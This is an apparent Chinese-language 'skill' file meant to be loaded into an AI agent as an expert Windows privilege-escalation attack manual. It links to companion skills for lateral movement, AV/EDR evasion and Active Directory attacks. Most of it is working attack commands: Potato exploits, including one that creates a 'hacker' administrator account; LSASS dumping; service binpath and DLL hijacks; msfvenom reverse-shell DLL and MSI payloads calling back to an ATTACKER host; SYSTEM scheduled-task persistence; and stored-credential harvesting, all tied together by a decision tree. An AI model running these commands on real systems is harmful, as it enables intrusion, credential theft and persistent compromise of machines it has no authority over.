windows-privilege-escalation

技能：Windows 本地权限提升——专家攻击手册

AI 加载指令：专家级 Windows 权限提升技术。涵盖令牌操纵、Potato 系列、服务配置错误、DLL 劫持、AlwaysInstallElevated、计划任务滥用、注册表自动运行项和命名管道模拟。基础模型容易忽略细微的权限前提条件和特定操作系统版本的限制。

0. 相关路由

深入操作前，可考虑加载：

• windows-lateral-movement，权限提升后用于横向移动到其他主机
• windows-av-evasion，当 AV/EDR 阻止权限提升工具时使用
• active-directory-kerberos-attacks，当主机已加入域且需要在 AD 层面提升权限时使用
• active-directory-acl-abuse，通过 ACL 配置错误提升域权限时使用

高级参考

在需要以下内容时，也可加载 TOKEN_POTATO_TRICKS.md：

• Potato 系列详细对比（JuicyPotato → GodPotato 的演进）
• 针对特定操作系统版本选择漏洞利用
• 各变体所需权限和协议详情

在需要以下内容时，也可加载 UAC_BYPASS_METHODS.md：

• UAC 绕过技术矩阵（fodhelper、eventvwr、sdclt 等）
• 滥用自动提升二进制文件
• 伪造受信任目录技巧

---

1. 枚举检查清单

系统上下文

whoami /all                        & REM Current user, groups, privileges
systeminfo                         & REM OS version, hotfixes, architecture
hostname                           & REM Machine name
net user %USERNAME%                & REM Group memberships

令牌权限（关键）

whoami /priv

权限	提权路径
SeImpersonatePrivilege	Potato 系列漏洞利用（§2）
SeAssignPrimaryTokenPrivilege	令牌操纵、Potato 变体
SeDebugPrivilege	转储 LSASS、注入 SYSTEM 进程
SeBackupPrivilege	读取任意文件（SAM/SYSTEM/NTDS.dit）
SeRestorePrivilege	写入任意文件（DLL 劫持、服务二进制文件）
SeTakeOwnershipPrivilege	获取任意对象的所有权
SeLoadDriverPrivilege	加载存在漏洞的内核驱动 → 内核漏洞利用

服务和计划任务

sc query state= all                & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v        & REM Verbose scheduled task list

已安装软件和补丁

wmic product get name,version
wmic qfe list                      & REM Installed patches

网络和凭据

netstat -ano                       & REM Listening ports + PIDs
cmdkey /list                       & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul

---

2. 令牌操纵和 Potato 漏洞利用

滥用 SeImpersonatePrivilege

服务帐户（IIS AppPool、MSSQL 等）通常拥有 SeImpersonatePrivilege。这使其能够模拟提供给自己的任意令牌。

工具	操作系统支持	协议	备注
JuicyPotato	Win7–Server2016	COM/DCOM	需要有效的 CLSID；已在 Server2019+ 上修补
RoguePotato	Server2019+	OXID resolver 重定向	需要在端口 135 上控制一台机器
PrintSpoofer	Win10/Server2016-2019	通过 Print Spooler 使用命名管道	简单、快速；Spooler 必须正在运行
SweetPotato	广泛支持	COM + Print + EFS	结合多种技术
GodPotato	Win8–Server2022	DCOM RPCSS	可在已安装最新补丁的系统上运行

# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"

# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"

# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}

滥用 SeDebugPrivilege

# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp

# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe

---

3. 服务配置错误

未加引号的服务路径

# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """

如果路径为 C:\Program Files\My App\service.exe，Windows 会尝试：

1. C:\Program.exe
2. C:\Program Files\My.exe
3. C:\Program Files\My App\service.exe

将恶意二进制文件放在第一个可写入的位置。

服务权限过弱

# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS

# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svc

可写入的服务二进制文件

# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary

---

4. DLL 劫持

DLL 搜索顺序（标准）

1. 可执行文件所在目录
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. 当前目录
6. %PATH% 中的目录

漏洞利用

# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll

# Place in writable directory that comes before the real DLL location

已知的缺失 DLL 目标

应用程序	缺失的 DLL	放置位置
各种 .NET 应用程序	profapi.dll	应用程序目录
Windows 服务	wlbsctrl.dll	%PATH% 中可写入的目录
第三方更新程序	VERSION.dll	应用程序目录

---

5. ALWAYSINSTALLELEVATED

# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi

---

6. 滥用计划任务

# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"

# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"

# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected path

通过 PowerShell 创建计划任务

# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"

---

7. 注册表自动运行项

# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteula

如果自动运行项指向可写路径 → 替换二进制文件或注入新条目。

---

8. 命名管道模拟

# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated

# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exe

自定义命名管道服务端（需要 SeImpersonatePrivilege）：

# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token

---

9. 自动化工具

工具	用途	命令
winPEAS	全面枚举 Windows 系统	winPEASx64.exe
PowerUp	检查服务／DLL／注册表配置错误	Invoke-AllChecks
Seatbelt	面向安全的主机调查	Seatbelt.exe -group=all
SharpUp	PowerUp 检查的 C# 移植版	SharpUp.exe audit
PrivescCheck	PowerShell 提权检查工具	Invoke-PrivescCheck
BeRoot	查找常见配置错误	beRoot.exe

---

10. 权限提升决策树

Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│   ├── Yes → Potato family (§2)
│   │   ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│   │   ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│   │   └── Older → JuicyPotato (need CLSID)
│   └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│   ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│   ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│   └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│   ├── Missing DLL in search path? → plant malicious DLL (§4)
│   └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│   └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│   ├── Task runs as SYSTEM with writable binary? → replace (§6)
│   └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│   └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│   └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│   ├── cmdkey /list → runas /savecred
│   ├── Autologon in registry? → plaintext creds
│   └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
    ├── Run winPEAS for comprehensive scan
    ├── Check internal services (netstat -ano)
    ├── Look for sensitive files (unattend.xml, web.config, *.config)
    └── Check for kernel exploits (systeminfo → Windows Exploit Suggester)